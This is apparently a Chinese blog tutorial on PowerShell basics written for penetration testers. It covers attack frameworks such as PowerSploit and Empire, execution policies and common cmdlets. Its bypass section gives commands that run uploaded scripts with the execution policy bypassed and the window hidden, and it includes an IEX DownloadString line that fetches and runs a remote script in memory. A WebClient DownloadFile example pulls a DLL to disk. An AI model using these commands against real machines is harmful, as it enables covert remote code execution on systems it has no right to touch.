PowerShell 基本知识

2023-11-07

常见的 powershell 攻击工具:

PowerSploit:powershell 后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作

Nishang:基于 PowerShell 的渗透测试专用工具,集成了框架、脚本和各种payload,包含下载和执行、键盘记录、DNS、延时命令等脚本

Empire:基于 PowerShell 的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用语提供前期漏洞利用的集成模块、信息探测、凭证窃取、持久化控制

PowerCat:PowerShell 版的 NetCat,有着网络工具中的 “瑞士军刀” 美誉,它能通过 TCP和UDP 在网络中读写数据。通过与其它工具结合和重定向,可以在脚本以多种方式使用它

PowerShell 优点

  • windows7以上的操作系统默认安装
  • 可以从另一系统中下载 powershell 脚本并执行
  • 目前很多工具都是基于 powershell 开发的
  • 很多安全软件并不能检测到 powershell 的活动
  • cmd.exe 通常会被阻止运行,但是 powershell 不会
  • 可以用来管理活动目录

在 powershell 下,类似“cmd”命令,叫做“cmdlet”,powershell 命令不区别大小写,后缀文件名:.ps1(powershell1.0)

一、执行策略

为防止恶意脚本的执行,powershell 有一个执行策略,默认情况下,执行策略被设为受限

Get-ExecutionPolicy(执行策略)

Restricted:脚本不能受限(默认设置)

RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)

AllSigned:仅当脚本由受信任的发布者签名时才能运行

Unrestricted:允许所有的script运行

设置执行策略:Set-ExecutionPolicy <policy name>

二、运行脚本

运行一个powershell 脚本,必须键入完整的路径和文件名,如 C:\Scripts\a.ps1

但如果powershell 脚本刚好位于系统目录中(路径),可直接在命令提示符后键入脚本文件名,如.\a.ps1,记住需要加 .\

三、管道

管道:将一个命令的输出作为另一个命令的输入,两个命令之间用管道符号( | )连接

停止所有目前运行中,以 “p” 开头的程序

结果可以看到 powershell 停止运行了

   

四、常用命令

poershell 命令采用 “动词-名词”形式,如 New-Item ,一般兼容了 windows command 和 linux shell ,如 Get-ChildItem 命令 使用 dir 或者 ls 都可,powershell 不区分大小写

获取所有的powershell命令:get-command

新建目录:New-Item XXXX -type Directory  或者 New-Item XXXX -ItemType Directory

 

 新建文件:New-Item XXXX  -type File(无法在系统中或者c盘下创建文件,可能是权限不够)

删除文件或目录:remove-item XXX

设置文本内容:set-content XXX.txt -value "hello,world!"   (如果当前目录下并未存在此文件,会自动创建)

显示文本内容:get-content XXX

追加内容:add-content XXX -value "XXX"        (自动换行)

 清除内容:clear-content XXX

 

 五、绕过策略

(脚本不能运行)

1.绕过本地权限执行

上传 XXX.ps1 至目标服务器,在cmd环境下,在目标服务器本地执行该脚本

powershell.exe -ExecutionPolicy Bypass -file XXX.ps1

ExecutionPolicy -Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,powershell的安全策略规定了powershell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。基本每次运行powershell脚本都要使用这个参数

2.本地隐藏绕过权限执行脚本

powershell.exe -ExecutionPolicy -Bypass -WindowStyle Hidden -Nologo -Nonlnteractive -NoProfile -File XXX.ps1

WindowStyle Hidden:隐藏窗口

NoLogo:启动不显示版权标志的powershell

NonInteractive(-NonI):非交互模式,powershell不为用户提供交互的提示

NoProfile(-NoP):powershell控制台不加载当前用户的配置文件

3.用 IEX 下载远程ps1 脚本跳过权限执行

powershell.exe -ExecutionPolicy Bypass WindowStyle Hidden -NoProfile -NonI IEX(New-Object Net.WebClient).DownloadString("xxx.ps1");[paramters]

 Noexit:执行后不退出 shell,这在使用键盘记录等脚本时非常重要

 注意:hello,hacker写进test.ps1中必须是带"" ,否则会出错

六、powershell 下载文件

(1)使用 PowerShell 下载文件,最先想到的就是 Invoke-WebRequest 命令。可它有 3 个别名,分别是 “iwr”、“wget”、“curl”。

(2)System.Net.WebClient

NET 框架中的 System.Net.WebClient 类就是一个用于下载文件的 .NET 类;与 IEX(只有一个参数) 不同,IEX 只是将脚本加载内存,而没有将脚本下载到本地

(New-Object System.Net.WebClient).DownloadFile("http://192.168.110.130/test.dll","c:\win-test\test.dll")

上面例子:第一个参数是下载文件的地址,第二个参数是文件下载完成后保存的地址

注意:第二个参数保存地址不是单纯路径,需要在后面加上文件的名称,否则会出现错误

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

PowerShell 基本知识 的相关文章

  • 如何在 Azure PowerShell 函数中导入模块?

    我尝试从函数查询天蓝色表 使用 Get AzTableRow 在我的笔记本电脑上工作得很好 但模块 aztable 不存在于天蓝色功能中 因此我得到的只是红屏 有办法安装吗 谢谢 大卫 您无需自行在 Azure Function 中安装 A
  • 在 PowerShell 中显示当前时间和时区

    我正在尝试使用时区显示系统上的当地时间 如何在任何系统上以最简单的方式显示这种格式的时间 时间 美国东部时间上午 8 00 34 我目前正在使用以下脚本 localtz System TimeZoneInfo Local Select Ob
  • 如何并行执行PowerShell函数多次?

    我不确定是否需要将其称为多线程 基于作业或异步的需求 但基本上我有一个 Powershell 脚本函数 它需要多个参数 并且我需要使用不同的参数多次调用它并让它们运行在平行下 目前 我这样调用该函数 Execute param1 param
  • Powershell,如何添加共享文件夹的权限

    我有以下创建共享文件夹的代码 if Test Path c myFolder New Item Path c myFolder ItemType Directory If GET WMIOBJECT Win32 Share Filter N
  • Powershell从字符串中获取数字

    大家好 我正在尝试使用 powershell 从用户 ID 中获取号码 我们使用的格式是名字的第一个字母 姓氏的前四个字母和学生 ID 因此名为 John Smith ID 123456 的学生将是 jsmit123456 如果用户的名字少
  • $ 之间的区别?和 PowerShell 中的 $LastExitCode

    在 PowerShell 中 有什么区别 and LastExitCode I read 关于自动变量 http technet microsoft com en us library dd347675 aspx 它说 Contains t
  • CMD 或 Powershell 命令组合(合并)两个文件中的相应行[重复]

    这个问题在这里已经有答案了 是否可以使用 CMD 和 Powershell 将 2 个文件合并为 1 个文件 如下所示 file1 line1 tab file2 line1 file1 line2 tab file2 line2 file
  • 如何在 Windows 7 上安装 ScheduledTasks 模块

    是否可以安装该模块 http technet microsoft com en us library jj649816 aspx与 Windows 8 和 Windows Server 2012 不同的操作系统上的 PS v3 0 附带吗
  • powershell 和 cmd 之间的文件大小不同[重复]

    这个问题在这里已经有答案了 我正在使用一点processconf js工具来构建configuration json来自多个文件 json files 这是我正在使用的命令 node processconf js file1 json fi
  • powershell:如何将 get-date 格式化为字符串并删除 0?

    当我运行 get date cmdlet 时 我尝试通过以下方式消除日期中的任何前导零 filedate get date uformat m d Y filedate filedate ToString Replace 0 这将返回 01
  • Powershell 没有一些内置帮助主题

    我发现我的 powershell 没有一些帮助主题 例如about profiles 我试过update help但这没有帮助 有谁可以帮忙看一下吗 PS C gt systeminfo Host Name OS Name Microsof
  • 我想在 Red Hat Linux 服务器中执行 .ps1 powershell 脚本

    我有一个在窗口中执行的 ps1 powershell 脚本 但我的整个数据都在 Linux 服务器中 有什么可能的方法可以让我在红帽服务器中执行 powershell 脚本 powershell脚本是 Clear Host path D D
  • 使用 Powershell 远程安装 .msi

    我已经让他使用这个论坛上存在的代码来跟踪代码 cls computername Get Content C Users C201578 db Documents server txt sourcefile iceopsnas LNT Sof
  • 带有 UiPath 的 Powershell

    我正在使用 UiPath 启动 PowerShell 脚本 我需要从 UiPath 传递一个参数 首先这可能吗 其次有人有这方面的例子吗 不确定 PowerShell 脚本中的语法是什么 是否可以将参数从 UiPath 传递到终端 您的 P
  • 用于验证 IIS 设置的 Powershell 脚本

    是否可以使用 Power Shell 脚本获取 IIS 设置 我希望使用脚本获取 检查以下信息 检查 Windows 身份验证提供程序是否正确列出 协商 NTLM 检查是否启用了 Windows 身份验证 Windows 身份验证高级设置
  • 如何更改 Visual Studio Code“Powershell 集成控制台”?

    有谁知道如何安装 更新 PS 7 以供 VS Code Powershell 集成控制台使用 我可以在常规 powershell 终端上获取 PS 7 但 Powershell 集成控制台仍然是 PSVersion 5 1 我似乎不知道如何
  • 通过PowerShell检索Azure AD应用程序的“API权限”

    出于报告和监视的目的 我想检索应用程序 应用程序注册 的 Azure 门户中显示的信息以获取 API 权限 我尝试过以下代码 app Get AzureADApplication ObjectId aa7e174d 2639 4ac7 9b
  • 检测 PowerShell 开关

    我正在用 C 开发 PowerShell cmdlet 并且有 true false switch 语句 我注意到 如果我希望 bool 为 true 我需要指定 SwitchName true 否则我会得到 Missing an argu
  • 有没有更快的方法来使用Powershell解析Excel文档?

    我正在与一个接口MS Excel文件通过Powershell 每个 Excel 文档可能有大约 1000 行数据 目前这个脚本似乎读取了Excel文件并以每 0 6 秒 1 条记录的速率将值写入屏幕 乍一看 这似乎非常慢 这是我第一次阅读E
  • Powershell:输出文件

    我正在尝试将所有控制台输出记录到文件中 移动项目 D scripts fileA D scripts fileB verbose Force 输出文件 D scripts move log 追加 如果该文件不存在 则正在创建该文件 但详细信

随机推荐

  • 笔记本电脑无法连接网络并在网络状态中显示ipv4和ipv6无网络访问权限

    win10电脑连不上网首先先右键无线或者网线那个图标 然后点击打开网络和共享中心 找到并点击连接 进入以太网或者wifi状态 看ipv4连接后面是否显示的是无网络访问权限 如果是 请按以下步骤操作 在桌面按WIN R输入CMD点击确定 打开
  • Docker部署Canal

    Canal Canal是阿里开源的一款基于Mysql数据库binlog的增量订阅和消费组件 通过它可以订阅数据库的binlog日志 然后进行一些数据消费 如数据镜像 数据异构 数据索引 缓存更新等 相对于消息队列 通过这种机制可以实现数据的
  • Windows10+CUDA+Tensorflow-gpu安装。装了一个星期,啥问题都见过了。(eg: ImportError: DLL load failed)

    目录 1 CUDA 卸载 2 中间出现的问题 2 1 问题1 This graphics driver could not find compatible graphics hardware You may continue install
  • 畸形报文单包攻击检测防御原理

    Ping of Death攻击 路由器对包的大小是有限制的 IP报文的长度字段为16位 即IP报文的最大长度为65535 如果遇到大小超过65535的报文 会出现内存分配错误 从而使接收方的计算机系统崩溃 攻击者只需不断的通过Ping命令向
  • 源代码中有什么

    在过去 源代码是核心机密 优秀的软件工程师在在某个公司的黑屋子里写程序 我们只能看到发布的产品 但是在今天 开放源代码成为一种开发方式 高手们在开源社区发布他们的代码 我们也终于有机会一睹大师高手们的源程序了 我们可以很容易地从网上下载到各
  • Kubeflow Pipeline - 构建自定义的 Workflow

    文章目录 1 Overview 2 Steps 2 1 理解 component 和 pipeline 2 2 Python SDK 构建 component 和 pipeline 2 3 上传 pipeline 3 Summary 1 O
  • 亮度、对比度与饱和度

    亮度是指图片的明暗程度 对比度是指图片明暗的差异 饱和度则是图片颜色的饱满程度 图片文件一般是RGB格式 当然也有的是YCBR格式 前者主要用于显示 后者则主要用于印刷 当然世上没有绝对的事情 也有人喜欢在电脑或手机上看YCBR格式的 至于
  • 消息队列-msgget

    msgget 获取系统V消息队列标识符 获取消息队列的id 头文件 include
  • 动态规划——JavaScript

    目录 什么是动态规划 怎么用动态规划 动态规划经典例题 斐波那契数 题目描述 思路 代码 爬楼梯 题目描述 思路 代码 不同路径 题目描述 思路 例题 不同路径 打家劫舍 打家劫舍 买卖股票的最佳时期 买卖股票的最佳时期 使用最小花费爬楼梯
  • 【STM32】keil环境下移植cJSON

    前言 由于工作需要 需要在STM32上使用Json 所以把一个JSON库移植到了STM32 keil MDK 实际上keil已经有了JSON扩展包 Jansson 只需要从keil官网上下载JSON Pack再导入就行 有兴趣的可以看这篇文
  • SQLi Labs Lesson22

    Lesson 22 Cookie Injection base64 encoded Double quotes 用admin账号登陆后 查看cookie 发现cookie为 YWRtaW4 有了上一节的经验 admin的base64编码为
  • 接口型模式之Bridge(桥接)模式

    1 如果你期望将实现与抽象相分离以便二者独立演化 可使用Bridge 桥接 模式 2 举例 抽象平台 public abstract class ImpLog public abstract void execute String msg
  • google v8 编译 运行遇到的问题

    环境 window os window sdk 10 vs2017 方法 官网提供的方法 https github com v8 v8 wiki Building from Source 问题1 cmd中执行命令时 tools dev v8
  • mysql_pycharm连接虚拟机上的mysql

    虚拟机上的系统是ubuntu 16 04 LTS 关于虚拟机安装mysql 5 7 参考以下的连接 Ubuntu安装Mysql 5 7 安装成功之后 执行赋予局域网可以访问虚拟机上的mysql mysql gt GRANT ALL PRIV
  • 网站工作原理,你搞懂了吗?

    网站工作原理 你搞懂了吗 网站工作原理 输入网站地址 按下回车会发生啥 1 DNS解析 2 TCP连接 2 1 TCP介绍 3 发送HTTP请求 3 1 HTTPS协议 3 2 HTTPS过程 3 3 HTTP请求 4 服务器处理请求并返回
  • 用户多设备多账户同时在线场景、匿名用户行为同步到注册用户

    TOC随着移动设备的普及和社交媒体的发展 用户在多个设备上同时访问同一个应用成为了一种常见的现象 这些设备可能属于同一个用户 也可能属于不同的用户 而且有些用户可能没有注册账户 只是以匿名的方式访问应用 在这种多设备 多账户 匿名用户同时在
  • vue动态合并行

    这个 处理数据 将表格数组传入 在获取到数组时调用 getSpanArr data this spanArr for var i 0 i lt data length i if i 0 this spanArr push 1 空数组 用来记
  • Linux下生成patch和打patch

    通过diff工具生成补丁 patch工具打上补丁 在使用diff之前 你需要保留一份未修改过的源码 然后在其它地方修改源码的一份拷贝 diff对比这两份源码生成patch 修改过的源码必须保留原来的文件名 例如 如果你修改源码中的a c文件
  • chinesecalendar 模块判断节假日

    chinesecalendar是python 中判断date类型的日期是工作日 还是节假日 比较准确地模块 先安装该模块 pip install chinesecalendar 导入模块的用法如下 import datetime from
  • PowerShell 基本知识

    常见的 powershell 攻击工具 PowerSploit powershell 后期漏洞利用框架 常用于信息探测 特权提升 凭证窃取 持久化等操作 Nishang 基于 PowerShell 的渗透测试专用工具 集成了框架 脚本和各种